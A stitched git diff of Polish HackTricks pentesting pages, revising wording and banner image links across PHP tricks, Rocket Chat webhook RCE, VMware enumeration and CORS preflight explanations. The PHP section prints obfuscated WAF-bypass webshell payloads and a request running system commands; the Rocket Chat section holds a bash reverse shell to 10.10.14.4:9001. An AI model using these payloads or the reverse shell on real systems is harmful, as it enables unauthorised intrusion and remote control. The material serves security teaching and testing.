Jeśli zobaczysz, że **Xdebug** jest **włączony** w wyniku `phpconfig()`, powinieneś spróbować uzyskać RCE za pomocą [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
|
||||||
|
|
||||||
## Zmienne zmiennych
|
## Zmienne zmiennych
|
||||||
```php
|
```php
|
||||||
|
@ -312,9 +312,9 @@ echo "${Da}"; //Drums
|
||||||
echo "$x ${$x}"; //Da Drums
|
echo "$x ${$x}"; //Da Drums
|
||||||
echo "$x ${Da}"; //Da Drums
|
echo "$x ${Da}"; //Da Drums
|
||||||
```
|
```
|
||||||
## Wykorzystywanie RCE poprzez nowe $\_GET\["a"]\($\_GET\["b"])
|
## RCE wykorzystujące nowe $\_GET\["a"]\($\_GET\["b"])
|
||||||
|
|
||||||
Jeśli na stronie możesz **utworzyć nowy obiekt dowolnej klasy**, możesz uzyskać zdalne wykonanie kodu (RCE). Sprawdź poniższą stronę, aby dowiedzieć się jak:
|
Jeśli na stronie możesz **utworzyć nowy obiekt dowolnej klasy**, możesz uzyskać RCE, sprawdź następującą stronę, aby dowiedzieć się jak:
|
||||||
|
|
||||||
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
|
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
|
||||||
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
|
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
|
||||||
|
@ -324,7 +324,7 @@ Jeśli na stronie możesz **utworzyć nowy obiekt dowolnej klasy**, możesz uzys
|
||||||
|
|
||||||
[https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/)
|
[https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/)
|
||||||
|
|
||||||
### Użycie liczby ósemkowej
|
### Użycie ósemkowego
|
||||||
```php
|
```php
|
||||||
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
|
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
|
||||||
```
|
```
|
||||||
|
@ -344,7 +344,7 @@ ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
|
||||||
|
|
||||||
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
|
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
|
||||||
```
|
```
|
||||||
Więc jeśli możesz **wykonać dowolny kod PHP bez użycia cyfr i liter**, możesz wysłać żądanie, wykorzystując poniższy payload do wykonania dowolnego kodu PHP:
|
Więc jeśli możesz **wykonać dowolny kod PHP bez użycia cyfr i liter**, możesz wysłać żądanie, wykorzystując poniższy payload do wykonania arbitralnego kodu PHP:
|
||||||
```
|
```
|
||||||
POST: /action.php?_=system&__=cat+flag.php
|
POST: /action.php?_=system&__=cat+flag.php
|
||||||
Content-Type: application/x-www-form-urlencoded
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
@ -411,7 +411,7 @@ $____.=$__;
|
||||||
$_=$$____;
|
$_=$$____;
|
||||||
$___($_[_]); // ASSERT($_POST[_]);
|
$___($_[_]); // ASSERT($_POST[_]);
|
||||||
```
|
```
|
||||||
<figure><img src="../../../.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../..https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
@ -421,10 +421,10 @@ $___($_[_]); // ASSERT($_POST[_]);
|
||||||
|
|
||||||
Inne sposoby wsparcia HackTricks:
|
Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -7,14 +7,14 @@
|
||||||
Inne sposoby wsparcia HackTricks:
|
Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
@ -23,7 +23,7 @@ Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
Jeśli jesteś administratorem w Rocket Chat, możesz uzyskać RCE.
|
Jeśli jesteś administratorem w Rocket Chat, możesz uzyskać RCE.
|
||||||
|
|
||||||
* Przejdź do **`Integrations`** i wybierz **`New Integration`** oraz wybierz dowolne: **`Incoming WebHook`** lub **`Outgoing WebHook`**.
|
* Przejdź do **`Integrations`** i wybierz **`New Integration`** i wybierz dowolne: **`Incoming WebHook`** lub **`Outgoing WebHook`**.
|
||||||
* `/admin/integrations/incoming`
|
* `/admin/integrations/incoming`
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (263).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (263).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
@ -50,7 +50,7 @@ exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
|
||||||
* Wywołaj go za pomocą curl i powinieneś otrzymać odwrotną powłokę
|
* Wywołaj go za pomocą curl i powinieneś otrzymać odwrotną powłokę
|
||||||
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
@ -60,7 +60,7 @@ exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
|
||||||
|
|
||||||
Inne sposoby wsparcia HackTricks:
|
Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
|
|
@ -5,32 +5,30 @@
|
||||||
Inne sposoby wsparcia HackTricks:
|
Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
# Wyliczanie
|
# Enumeracja
|
||||||
```bash
|
```bash
|
||||||
nmap -sV --script "http-vmware-path-vuln or vmware-version" -p <PORT> <IP>
|
nmap -sV --script "http-vmware-path-vuln or vmware-version" -p <PORT> <IP>
|
||||||
msf> use auxiliary/scanner/vmware/esx_fingerprint
|
msf> use auxiliary/scanner/vmware/esx_fingerprint
|
||||||
msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
|
msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
|
||||||
```
|
```
|
||||||
# Bruteforce
|
# Bruteforce
|
||||||
|
|
||||||
Brute force attack is a method used to obtain the user's password by trying all possible combinations until the correct one is found. It is an effective but time-consuming technique.
|
|
||||||
```bash
|
```bash
|
||||||
msf> auxiliary/scanner/vmware/vmware_http_login
|
msf> auxiliary/scanner/vmware/vmware_http_login
|
||||||
```
|
```
|
||||||
Jeśli znajdziesz ważne dane uwierzytelniające, możesz użyć więcej modułów skanera Metasploit do uzyskania informacji.
|
Jeśli znajdziesz poprawne dane uwierzytelniające, możesz użyć więcej modułów skanera Metasploit do uzyskania informacji.
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
|
|
@ -2,11 +2,11 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Zacznij od zera i stań się ekspertem AWS z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Inne sposoby wsparcia HackTricks:
|
Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną na HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
@ -14,7 +14,7 @@ Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
@ -22,7 +22,7 @@ Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
Standard Cross-Origin Resource Sharing (CORS) **umożliwia serwerom określenie, kto może uzyskać dostęp do ich zasobów** i **jakie metody żądań HTTP są dozwolone** z zewnętrznych źródeł.
|
Standard Cross-Origin Resource Sharing (CORS) **umożliwia serwerom określenie, kto może uzyskać dostęp do ich zasobów** i **jakie metody żądań HTTP są dozwolone** z zewnętrznych źródeł.
|
||||||
|
|
||||||
Polityka **tego samego pochodzenia** nakazuje, że **serwer żądający** zasobu i serwer hostujący **zasób** muszą dzielić taki sam protokół (np. `http://`), nazwę domeny (np. `internal-web.com`) i **port** (np. 80). Zgodnie z tą polityką, tylko strony internetowe z tej samej domeny i portu mają dostęp do zasobów.
|
Polityka **tego samego pochodzenia** nakazuje, że **serwer żądający** zasobu i serwer hostujący **zasób** muszą współdzielić taki sam protokół (np. `http://`), nazwę domeny (np. `internal-web.com`) i **port** (np. 80). Zgodnie z tą polityką, tylko strony internetowe z tej samej domeny i portu mają dostęp do zasobów.
|
||||||
|
|
||||||
Zastosowanie polityki tego samego pochodzenia w kontekście `http://normal-website.com/example/example.html` jest zilustrowane poniżej:
|
Zastosowanie polityki tego samego pochodzenia w kontekście `http://normal-website.com/example/example.html` jest zilustrowane poniżej:
|
||||||
|
|
||||||
|
@ -45,7 +45,7 @@ Ten nagłówek jest **wysyłany przez serwer** w odpowiedzi na żądanie zasobu
|
||||||
|
|
||||||
### Nagłówek `Access-Control-Allow-Credentials`
|
### Nagłówek `Access-Control-Allow-Credentials`
|
||||||
|
|
||||||
Domyślnie, żądania z innych źródeł są wykonywane bez uwierzytelnienia, takiego jak ciasteczka lub nagłówek Autoryzacji. Jednak serwer z innej domeny może zezwolić na odczyt odpowiedzi, gdy przesyłane są uwierzytelnienia, ustawiając nagłówek `Access-Control-Allow-Credentials` na **`true`**.
|
Domyślnie żądania z innych źródeł są wykonywane bez uwierzytelnienia, takiego jak ciasteczka lub nagłówek Autoryzacji. Jednak serwer z innej domeny może zezwolić na odczyt odpowiedzi, gdy przesyłane są uwierzytelnienia, ustawiając nagłówek `Access-Control-Allow-Credentials` na **`true`**.
|
||||||
|
|
||||||
Jeśli ustawione jest na `true`, przeglądarka przekaże uwierzytelnienia (ciasteczka, nagłówki autoryzacji lub certyfikaty klienta TLS).
|
Jeśli ustawione jest na `true`, przeglądarka przekaże uwierzytelnienia (ciasteczka, nagłówki autoryzacji lub certyfikaty klienta TLS).
|
||||||
```javascript
|
```javascript
|
||||||
|
@ -74,17 +74,17 @@ xhr.setRequestHeader('Content-Type', 'application/xml');
|
||||||
xhr.onreadystatechange = handler;
|
xhr.onreadystatechange = handler;
|
||||||
xhr.send('<person><name>Arun</name></person>');
|
xhr.send('<person><name>Arun</name></person>');
|
||||||
```
|
```
|
||||||
### Zapytanie wstępne CSRF
|
### Żądanie wstępne CSRF
|
||||||
|
|
||||||
### Zrozumienie Zapytań Wstępnych w Komunikacji Między Domenami
|
### Zrozumienie żądań wstępnych w komunikacji między domenami
|
||||||
|
|
||||||
Podczas inicjowania żądania między domenami w określonych warunkach, takich jak użycie **niestandardowej metody HTTP** (cokolwiek innego niż HEAD, GET, POST), wprowadzenie nowych **nagłówków**, lub zastosowanie specjalnej wartości nagłówka **Content-Type**, może być konieczne zapytanie wstępne. To wstępne żądanie, wykorzystujące metodę **`OPTIONS`**, służy poinformowaniu serwera o intencjach nadchodzącego żądania między domenami, w tym o metodach HTTP i nagłówkach, jakie ma zamiar użyć.
|
Podczas inicjowania żądania między domenami w określonych warunkach, takich jak użycie **metody HTTP niestandardowej** (cokolwiek innego niż HEAD, GET, POST), wprowadzenie nowych **nagłówków**, lub użycie specjalnej wartości nagłówka **Content-Type**, może być wymagane żądanie wstępne. To wstępne żądanie, wykorzystujące metodę **`OPTIONS`**, służy poinformowaniu serwera o intencjach nadchodzącego żądania między domenami, w tym o metodach HTTP i nagłówkach, jakie ma zamiar użyć.
|
||||||
|
|
||||||
Protokół **Cross-Origin Resource Sharing (CORS)** nakazuje tę wstępną kontrolę, aby określić wykonalność żądanej operacji między domenami poprzez weryfikację dozwolonych metod, nagłówków i zaufania pochodzenia. Aby dokładnie zrozumieć, jakie warunki omijają konieczność zapytania wstępnego, zapoznaj się z obszernym przewodnikiem udostępnionym przez [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests).
|
Protokół **Cross-Origin Resource Sharing (CORS)** nakazuje tę wstępną kontrolę, aby określić wykonalność żądanej operacji między domenami poprzez weryfikację dozwolonych metod, nagłówków i zaufania pochodzenia. Aby dokładnie zrozumieć, jakie warunki omijają konieczność żądania wstępnego, należy zapoznać się z obszernym przewodnikiem udostępnionym przez [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests).
|
||||||
|
|
||||||
Należy zauważyć, że **brak zapytania wstępnego nie znosi konieczności posiadania nagłówków autoryzacyjnych w odpowiedzi**. Bez tych nagłówków, przeglądarka nie jest w stanie przetworzyć odpowiedzi z żądania między domenami.
|
Należy zauważyć, że **brak żądania wstępnego nie znosi konieczności posiadania nagłówków autoryzacyjnych w odpowiedzi**. Bez tych nagłówków, przeglądarka nie jest w stanie przetworzyć odpowiedzi z żądania między domenami.
|
||||||
|
|
||||||
Rozważ poniższą ilustrację zapytania wstępnego mającego na celu użycie metody `PUT` wraz z niestandardowym nagłówkiem o nazwie `Special-Request-Header`:
|
Rozważ poniższą ilustrację żądania wstępnego mającego na celu użycie metody `PUT` wraz z niestandardowym nagłówkiem o nazwie `Special-Request-Header`:
|
||||||
```
|
```
|
||||||
OPTIONS /info HTTP/1.1
|
OPTIONS /info HTTP/1.1
|
||||||
Host: example2.com
|
Host: example2.com
|
||||||
|
@ -93,7 +93,7 @@ Origin: https://example.com
|
||||||
Access-Control-Request-Method: POST
|
Access-Control-Request-Method: POST
|
||||||
Access-Control-Request-Headers: Authorization
|
Access-Control-Request-Headers: Authorization
|
||||||
```
|
```
|
||||||
W odpowiedzi serwer może zwrócić nagłówki wskazujące akceptowane metody, dozwolony pochodzenie oraz inne szczegóły związane z polityką CORS, jak pokazano poniżej:
|
W odpowiedzi serwer może zwrócić nagłówki wskazujące akceptowane metody, dozwolony pochodzenie oraz inne szczegóły polityki CORS, jak pokazano poniżej:
|
||||||
```markdown
|
```markdown
|
||||||
HTTP/1.1 204 No Content
|
HTTP/1.1 204 No Content
|
||||||
...
|
...
|
||||||
|
@ -107,18 +107,18 @@ Access-Control-Max-Age: 240
|
||||||
* **`Access-Control-Expose-Headers`**: Poprzez ten nagłówek serwer informuje klienta, które nagłówki mogą być ujawnione jako część odpowiedzi oprócz prostych nagłówków odpowiedzi.
|
* **`Access-Control-Expose-Headers`**: Poprzez ten nagłówek serwer informuje klienta, które nagłówki mogą być ujawnione jako część odpowiedzi oprócz prostych nagłówków odpowiedzi.
|
||||||
* **`Access-Control-Max-Age`**: Ten nagłówek wskazuje, jak długo wyniki żądania wstępnego mogą być przechowywane w pamięci podręcznej. Serwer ustawia maksymalny czas, w sekundach, przez jaki informacje zwrócone przez żądanie wstępne mogą być ponownie wykorzystane.
|
* **`Access-Control-Max-Age`**: Ten nagłówek wskazuje, jak długo wyniki żądania wstępnego mogą być przechowywane w pamięci podręcznej. Serwer ustawia maksymalny czas, w sekundach, przez jaki informacje zwrócone przez żądanie wstępne mogą być ponownie wykorzystane.
|
||||||
* **`Access-Control-Request-Headers`**: Używany w żądaniach wstępnych, ten nagłówek jest ustawiany przez klienta, aby poinformować serwer, które nagłówki HTTP klient chce użyć w rzeczywistym żądaniu.
|
* **`Access-Control-Request-Headers`**: Używany w żądaniach wstępnych, ten nagłówek jest ustawiany przez klienta, aby poinformować serwer, które nagłówki HTTP klient chce użyć w rzeczywistym żądaniu.
|
||||||
* **`Access-Control-Request-Method`**: Ten nagłówek, również używany w żądaniach wstępnych, jest ustawiany przez klienta, aby wskazać, który metodę HTTP zostanie użyta w rzeczywistym żądaniu.
|
* **`Access-Control-Request-Method`**: Ten nagłówek, również używany w żądaniach wstępnych, jest ustawiany przez klienta, aby wskazać, jaka metoda HTTP zostanie użyta w rzeczywistym żądaniu.
|
||||||
* **`Origin`**: Ten nagłówek jest automatycznie ustawiany przez przeglądarkę i wskazuje pochodzenie żądania międzydomenowego. Jest używany przez serwer do oceny, czy przychodzące żądanie powinno być zezwolone czy odrzucone na podstawie polityki CORS.
|
* **`Origin`**: Ten nagłówek jest automatycznie ustawiany przez przeglądarkę i wskazuje pochodzenie żądania międzydomenowego. Jest używany przez serwer do oceny, czy przychodzące żądanie powinno być zezwolone czy odrzucone na podstawie polityki CORS.
|
||||||
|
|
||||||
Należy zauważyć, że zazwyczaj (w zależności od typu zawartości i ustawionych nagłówków) w żądaniu **GET/POST nie jest wysyłane żądanie wstępne** (żądanie jest wysyłane **bezpośrednio**), ale jeśli chcesz uzyskać dostęp do **nagłówków/ciała odpowiedzi**, musi zawierać nagłówek _Access-Control-Allow-Origin_ pozwalający na to.\
|
Zauważ, że zazwyczaj (w zależności od typu zawartości i ustawionych nagłówków) w żądaniu **GET/POST nie jest wysyłane żądanie wstępne** (żądanie jest wysyłane **bezpośrednio**), ale jeśli chcesz uzyskać dostęp do **nagłówków/ciała odpowiedzi**, musi zawierać nagłówek _Access-Control-Allow-Origin_ pozwalający na to.\
|
||||||
**Dlatego CORS nie chroni przed CSRF (ale może być pomocny).**
|
**Dlatego CORS nie chroni przed CSRF (ale może być pomocny).**
|
||||||
|
|
||||||
### **Żądanie wstępne lokalnej sieci**
|
### **Żądanie wstępne lokalnej sieci**
|
||||||
|
|
||||||
1. **`Access-Control-Request-Local-Network`**: Ten nagłówek jest dołączany do żądania klienta, aby oznaczyć, że zapytanie jest skierowane do zasobu w lokalnej sieci. Służy jako znacznik informujący serwer, że żądanie pochodzi z wewnątrz lokalnej sieci.
|
1. **`Access-Control-Request-Local-Network`**: Ten nagłówek jest dołączany do żądania klienta, aby wskazać, że zapytanie jest skierowane do zasobu w lokalnej sieci. Służy jako znacznik informujący serwer, że żądanie pochodzi z wewnątrz lokalnej sieci.
|
||||||
2. **`Access-Control-Allow-Local-Network`**: W odpowiedzi serwery wykorzystują ten nagłówek, aby przekazać, że żądany zasób może być udostępniany podmiotom spoza lokalnej sieci. Działa jak zielone światło dla udostępniania zasobów między różnymi granicami sieci, zapewniając kontrolowany dostęp przy zachowaniu protokołów bezpieczeństwa.
|
2. **`Access-Control-Allow-Local-Network`**: W odpowiedzi serwery wykorzystują ten nagłówek, aby przekazać, że żądany zasób może być udostępniany podmiotom spoza lokalnej sieci. Działa jak zielone światło dla udostępniania zasobów między różnymi granicami sieci, zapewniając kontrolowany dostęp przy zachowaniu protokołów bezpieczeństwa.
|
||||||
|
|
||||||
**Poprawna odpowiedź zezwalająca na żądanie lokalnej sieci** musi również zawierać w odpowiedzi nagłówek `Access-Controls-Allow-Local_network: true`:
|
A **poprawna odpowiedź zezwalająca na żądanie lokalnej sieci** musi również zawierać w odpowiedzi nagłówek `Access-Controls-Allow-Local_network: true`:
|
||||||
```
|
```
|
||||||
HTTP/1.1 200 OK
|
HTTP/1.1 200 OK
|
||||||
...
|
...
|
||||||
|
